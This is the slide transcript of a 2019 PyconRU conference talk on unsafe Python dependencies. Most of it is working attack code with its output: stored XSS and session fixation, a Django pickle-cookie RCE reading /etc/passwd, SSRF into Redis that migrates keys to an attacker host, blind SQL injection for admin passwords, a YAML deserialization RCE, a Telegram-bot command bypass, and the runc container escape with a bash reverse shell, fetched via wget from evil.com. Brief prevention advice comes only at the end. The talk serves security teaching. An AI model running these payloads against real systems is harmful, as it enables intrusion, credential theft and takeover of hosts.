Upgrade to Pro — share decks privately, control downloads, hide ads and more …

PyconRU 2019. (Un)safe dependencies.

PyconRU 2019. (Un)safe dependencies.

Ivan Tsyganov

June 24, 2019
Tweet

More Decks by Ivan Tsyganov

Other Decks in Programming

Transcript

  1. <script> document.addEventListener( 'DOMContentLoaded', function(event) { $.ajax({ url:'/api/goods/', success: function(result) {

    $(result).each(function() { $.ajax({ url:'/api/goods/'+this.id+'/', type:'DELETE' }) }) } }) } ); </script> http: //example.com
  2. <script> document.addEventListener( 'DOMContentLoaded', function(event) { $.ajax({ url:'/api/goods/', success: function(result) {

    $(result).each(function() { $.ajax({ url:'/api/goods/'+this.id+'/', type:'DELETE' }) }) } }) } ); </script> http: //example.com
  3. <script> document.addEventListener( 'DOMContentLoaded', function(event) { $.ajax({ url:'/api/goods/', success: function(result) {

    $(result).each(function() { $.ajax({ url:'/api/goods/'+this.id+'/', type:'DELETE' }) }) } }) } ); </script> http: //example.com
  4. ... APPEND_SLASH = True ... settings.py urlpatterns = [ ...

    re_path(r'^(.*)/$', universal_view), ... ] urls.py
  5. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) )
  6. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) )
  7. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) )
  8. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) ) {{ "{x.__name__}".format_map(dict(x=request.get_host)) }}
  9. from django.core import signing from django.contrib.sessions.serializers import PickleSerializer def decode_sid(SID):

    return signing.loads( SID, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', serializer=PickleSerializer, max_age=1209600, salt='django.contrib.sessions.backends.signed_cookies', ) decode_sid('gASVMgAAAAAAAAB9lIwEdXVpZJSMJGM3ODgwM ...R2DK7jU') {'uuid': 'c78801e9-db4c-4f88-b988-f47a7f3ad172'}
  10. def encode_sid(command): class Evil(): def __reduce__(self): import subprocess return (subprocess.getoutput,

    (command, )) return signing.dumps( { 'uuid': '', 'evil': Evil() }, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', compress=True, salt='django.contrib.sessions.backends.signed_cookies', serializer=PickleSerializer, ) encode_sid("cat /etc/passwd") 'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'
  11. def encode_sid(command): class Evil(): def __reduce__(self): import subprocess return (subprocess.getoutput,

    (command, )) return signing.dumps( { 'uuid': '', 'evil': Evil() }, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', compress=True, salt='django.contrib.sessions.backends.signed_cookies', serializer=PickleSerializer, ) encode_sid("cat /etc/passwd") 'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'
  12. def encode_sid(command): class Evil(): def __reduce__(self): import subprocess return (subprocess.getoutput,

    (command, )) return signing.dumps( { 'uuid': '', 'evil': Evil() }, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', compress=True, salt='django.contrib.sessions.backends.signed_cookies', serializer=PickleSerializer, ) encode_sid("cat /etc/passwd") 'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'
  13. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  14. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  15. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  16. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  17. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  18. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] ) >>> pprint.pprint(result) {'evil': 'root:x:0:0:root:/root:/bin/bash\n' 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n' 'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n' 'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n' 'sync:x:4:65534:sync:/bin:/bin/sync\n' 'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n' 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n' 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n' 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n' 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n' 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n' 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n' 'gnats:x:41:41:Gnats Bug-Reporting System ' '(admin):/var/lib/gnats:/usr/sbin/nologin\n' '_apt:x:100:65534 ::/nonexistent:/bin/false', 'uuid': 'c3b29bac-3ce7-45a5-8680-3bd2a6e51307'}
  19. <meta Property="og:image" Content="https: //i.ebayimg.com/images/i/233117594563-0-1/s-l1000.jpg" /> <meta Property="og:title" Content="Python Cookbook, 3rd

    Edition, PDF ... | eBay" /> <meta Property="og:url" Content="https: // www.ebay.com/itm/Python-Cookbook- ...-for-Mastering-Python-" /> <meta Property="og:description" Content="If you need help writing programs in Python ... application domains." />
  20. <meta Property="og:image" Content="https: //i.ebayimg.com/images/i/233117594563-0-1/s-l1000.jpg" /> <meta Property="og:title" Content="Python Cookbook, 3rd

    Edition, PDF ... | eBay" /> <meta Property="og:url" Content="https: // www.ebay.com/itm/Python-Cookbook- ...-for-Mastering-Python-" /> <meta Property="og:description" Content="If you need help writing programs in Python ... application domains." /> ... <meta property="og:title" content="Some <script>$.ajax({url:'http: //evil.com/some_unique_path'}) </ script>Title" /> ...
  21. [01/Jan/2010:08:29:26 +0000] "GET /some_unique_path HTTP/1.1" 404 659 "-" "Mozilla/5.0 (Macintosh;

    Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Some <script> $.ajax({ url:'http: //evil.com/some_unique_path' }) </script> Title
  22. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ...
  23. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=aabb938c659e4f3cbed7210524dc9757'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ... <script> if (document.cookie.includes('hckd') ===false) { $.ajax({ url:'/logout', success:function(resp){ document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/' } }) } </script>
  24. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=aabb938c659e4f3cbed7210524dc9757'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ... <script> if (document.cookie.includes('hckd') ===false) { $.ajax({ url:'/logout', success:function(resp){ document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/' } }) } </script>
  25. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=aabb938c659e4f3cbed7210524dc9757'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ... <script> if (document.cookie.includes('hckd') ===false) { $.ajax({ url:'/logout', success:function(resp){ document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/'; } }) } </script>
  26. EVAL " for _, key in ipairs(redis.call('KEYS', '*')) do redis.call(

    'MIGRATE', 'evils_redis_host', 6379, key, 0, 5000, 'COPY', 'REPLACE' ) end" 0
  27. EVAL " for _, key in ipairs(redis.call('KEYS', '*')) do redis.call(

    'MIGRATE', 'evils_redis_host', 6379, key, 0, 5000, 'COPY', 'REPLACE' ) end" 0
  28. EVAL " for _, key in ipairs(redis.call('KEYS', '*')) do redis.call(

    'MIGRATE', 'evils_redis_host', 6379, key, 0, 5000, 'COPY', 'REPLACE' ) end" 0
  29. http: //redis:6379/?q=HTTP/1.1 \r\n EVAL "for _,k in ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do

    redis.call('\''MIGRATE'\'', '\''evils_redis_host'\'', 6379, k, 0, 5000, '\''COPY'\'', '\''REPLACE'\'') end" 0 \r\n
  30. curl --request POST \ --url http: //target.com/goods \ --header 'content-type:

    application/x- www-form- urlencoded' \ --data 'url=http: //redis:6379/?q=HTTP/ 1.1%0D%0AEVAL "for _,k in ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do redis.call('\''MIGRATE'\'', '\''evils_redis_host'\'', 6379, k, 0, 5000, '\''COPY'\'', '\''REPLACE'\'') end" 0 %0D%0A'
  31. curl --request POST \ --url http: //target.com/goods \ --header 'content-type:

    application/x- www-form- urlencoded' \ --data 'url=http: //redis:6379/?q=HTTP/ 1.1%0D%0AEVAL "for _,k in ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do redis.call('\''MIGRATE'\'', '\''evils_redis_host'\'', 6379, k, 0, 5000, '\''COPY'\'', '\''REPLACE'\'') end" 0 %0D%0A'
  32. 127.0.0.1:6379> KEYS * 1) "SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a" 2) "SESSIONID_b4bb7f94651d4d1496908b9a69150f03" 3) "SESSIONID_af90efcc865f4433adcd51625c9120b4" 4)

    "SESSIONID_8f07943134724991b6a356f6b75b7030" 5) "SESSIONID_ee1eab3a789d4d63a6be31a579c98a55" 6) "SESSIONID_d3b016fa73c6422b9166553e3783a78e" 127.0.0.1:6379> GET SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a "{\"created\": 1559895192, \"session\": {\"username\": \"admin\", \"role\": \"admin\"}}"
  33. 127.0.0.1:6379> KEYS * 1) "SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a" 2) "SESSIONID_b4bb7f94651d4d1496908b9a69150f03" 3) "SESSIONID_af90efcc865f4433adcd51625c9120b4" 4)

    "SESSIONID_8f07943134724991b6a356f6b75b7030" 5) "SESSIONID_ee1eab3a789d4d63a6be31a579c98a55" 6) "SESSIONID_d3b016fa73c6422b9166553e3783a78e" 127.0.0.1:6379> GET SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a "{\"created\": 1559895192, \"session\": {\"username\": \"user1\", \"role\": \"user\"}}"
  34. curl --request POST \ --url http: //127.0.0.1/goods \ --header 'content-type:

    application/x- www-form-urlencoded' \ --data 'url=http: //redis:6379/?q=HTTP/1.1%0D%0ASET SESSIONID_ee1eab3a789d4d63a6be31a579c98a55 "{\"created\": 1559895192, \"session\": {\"username\": \"admin\", \"role\": \"admin\"}}"%0D%0AX:%0D%0A'
  35. id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE

    table_name ~ '.*user.*' limit 1 ) then 1 else 0 end )
  36. id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE

    table_name ~ '.*user.*' limit 1 ) then 1 else 0 end )
  37. id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE

    table_name ~ '.*user.*' limit 1 ) then 1 else 0 end ) id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE table_name = 'user' limit 1 ) then 1 else 0 end )
  38. id limit ( CASE WHEN( SELECT true FROM users WHERE

    role = 'admin' and login = 'admin' and password ~ '.{8}' limit 1 ) then 1 else 0 end
  39. id limit ( CASE WHEN( SELECT true FROM users WHERE

    role = 'admin' and login = 'admin' and password ~ '.{8}' limit 1 ) then 1 else 0 end id limit ( CASE WHEN( SELECT true FROM users WHERE role = 'admin' and login = 'admin' and password ~ 'passw0rd' limit 1 ) then 1 else 0 end
  40. items: - name: Simple item description: Simple item description url:

    http: //my_goods.com/item1 img: http: //my_goods.com/item1.png - name: Simple item 2 description: Simple item 2 description url: http: //my_goods.com/item2 img: http: //my_goods.com/item2.png
  41. items: - name: Simple item description: Simple item description url:

    http: //my_goods.com/item1 unknown_field: !!python/object/apply:subprocess.check_output args: - ['python', '-c', 'from urllib.request import urlopen; urlopen("http: //evil_nginx/evil.html").getcode(); exit(0);'] img: http: //my_goods.com/item1.png
  42. [1/Jan/2010:07:14:37 +0000] "GET /evil.html HTTP/1.1" 200 1126 "-" "Python-urllib/3.6" "-"

    items: - name: Simple item description: Simple item description url: http: //my_goods.com/item1 unknown_field: !!python/object/apply:subprocess.check_output args: - ['python', '-c', 'from urllib.request import urlopen; urlopen("http: //evil_nginx/evil.html").getcode(); exit(0);'] img: http: //my_goods.com/item1.png
  43. API_TOKEN = '<HIDDEN_TOKEN>' WEBHOOK_HOST = 'target.com' WEBHOOK_PORT = 443 WEBHOOK_LISTEN

    = '0.0.0.0' WEBHOOK_SSL_CERT = './cert.pem' WEBHOOK_SSL_PRIV = './privkey.pem' WEBHOOK_URL_BASE = "https: //%s:%s" % (WEBHOOK_HOST, WEBHOOK_PORT) WEBHOOK_URL_PATH = "/secret_bot_hook/"
  44. ... OWNER_ID = 11111111 ... @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID, content_types=['text'],

    commands=['run']) def run_command(message): try: import commands _, _, command = message.text.partition(' ') status, output = commands.getstatusoutput(command) bot.send_message(message.chat.id, output) except: from traceback import format_exc bot.send_message(message.chat.id, format_exc())
  45. ... OWNER_ID = 11111111 ... @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID, content_types=['text'],

    commands=['run']) def run_command(message): try: import commands _, _, command = message.text.partition(' ') status, output = commands.getstatusoutput(command) bot.send_message(message.chat.id, output) except: from traceback import format_exc bot.send_message(message.chat.id, format_exc())
  46. ... OWNER_ID = 11111111 ... @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID, content_types=['text'],

    commands=['run']) def run_command(message): try: import commands _, _, command = message.text.partition(' ') status, output = commands.getstatusoutput(command) bot.send_message(message.chat.id, output) except: from traceback import format_exc bot.send_message(message.chat.id, format_exc())
  47. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  48. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  49. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  50. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  51. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  52. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE import os import stat target_file = '/bin/sh' with open(target_file, 'w') as evil: evil.write('#!/proc/self/exe') os.chmod(target_file, stat.S_IXOTH) write_handler = None while not write_handler: for pid in os.popen('ps -A -o pid'): pid = pid.strip() if pid == 'PID': continue try: with open(f'/proc/{pid}/cmdline', 'r') as cmdline: if cmdline.read().find('runc') >= 0: handler = os.open(f'/proc/{pid}/exe', os.O_PATH) handler_path=f'/proc/self/fd/{str(handler)}' write_handler = os.open(handler_path, os.O_WRONLY | os.O_TRUNC) break except Exception: continue payload = b'#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n' result = os.write(write_handler, payload) exploit.py
  53. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE import os import stat target_file = '/bin/sh' with open(target_file, 'w') as evil: evil.write('#!/proc/self/exe') os.chmod(target_file, stat.S_IXOTH) write_handler = None while not write_handler: for pid in os.popen('ps -A -o pid'): pid = pid.strip() if pid == 'PID': continue try: with open(f'/proc/{pid}/cmdline', 'r') as cmdline: if cmdline.read().find('runc') >= 0: handler = os.open(f'/proc/{pid}/exe', os.O_PATH) handler_path=f'/proc/self/fd/{str(handler)}' write_handler = os.open(handler_path, os.O_WRONLY | os.O_TRUNC) break except Exception: continue payload = b'#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n' result = os.write(write_handler, payload) exploit.py
  54. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE wget http: //evil.com/exploit.py -O exp.py && python exp.py
  55. root@attacker:/root# nc -k -l 4444 root@target:/root# whoami whoami root root@target:/root#

    cat /etc/passwd cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ...
  56. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE runc allows attackers to overwrite the host runc binary
  57. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources
  58. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources distrib djanga easyinstall junkeldat libpeshka mumpy mybiubiubiu nmap-python openvc python-ftp pythonkafka python-mongo python-mysql python-mysqldb python-openssl python-sqlite smb virtualnv
  59. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov
  60. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov ✤ Use web application firewall
  61. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov ✤ Use web application firewall XSS CSRF Open redirect Error leakage SQL-injection XML-inject
  62. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov ✤ Use web application firewall ✤ Configure used software